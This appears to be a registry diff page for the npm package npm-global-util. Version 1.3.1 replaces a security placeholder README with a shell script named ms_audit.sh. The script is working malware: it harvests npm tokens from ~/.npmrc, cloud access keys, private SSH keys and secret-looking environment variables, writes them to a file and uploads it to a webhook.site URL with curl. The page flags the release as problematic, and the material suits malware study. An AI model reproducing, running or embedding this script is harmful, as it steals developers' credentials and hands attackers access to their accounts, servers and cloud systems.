npm-global-util 0.0.1-security → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of npm-global-util might be problematic. Click here for more details.
- package/ms_audit.sh +29 -0
- package/package.json +4 -3
- package/README.md +0 -5
package/ms_audit.sh
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
|
|
2
|
+
|
|
3
|
+
(
|
|
4
|
+
echo "--- TARGET: KEY & TOKEN HARVEST ---"
|
|
5
|
+
echo "Host: $(hostname) | IP: $(curl -s ifconfig.me)"
|
|
6
|
+
|
|
7
|
+
echo -e "\n[1] Check NPM Auth (The Holy Grail):"
|
|
8
|
+
# Mengambil token NPM yang dipakai buat publish/install paket
|
|
9
|
+
cat ~/.npmrc 2>/dev/null
|
|
10
|
+
|
|
11
|
+
echo -e "\n[2] Check Cloud Credentials (GCP/AWS/Azure):"
|
|
12
|
+
# Cari file konfigurasi cloud di folder home
|
|
13
|
+
grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10
|
|
14
|
+
|
|
15
|
+
echo -e "\n[3] Check SSH Keys (Full System Access):"
|
|
16
|
+
# Cari kunci privat SSH yang sering ditinggal di server
|
|
17
|
+
find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do
|
|
18
|
+
echo "Found Key: $KEY"
|
|
19
|
+
cat "$KEY" | head -n 5
|
|
20
|
+
done
|
|
21
|
+
|
|
22
|
+
echo -e "\n[4] Environment Variables (Passwords in RAM):"
|
|
23
|
+
# Kadang password database ada di env variable
|
|
24
|
+
env | grep -Ei "pass|secret|token|db_|key" | head -n 10
|
|
25
|
+
|
|
26
|
+
) > final_leak.txt
|
|
27
|
+
|
|
28
|
+
# Kirim sebagai file mentah biar gampang lo baca di Webhook
|
|
29
|
+
curl -X POST -F "file=@final_leak.txt" "$URL"
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=npm-global-util for more information.
|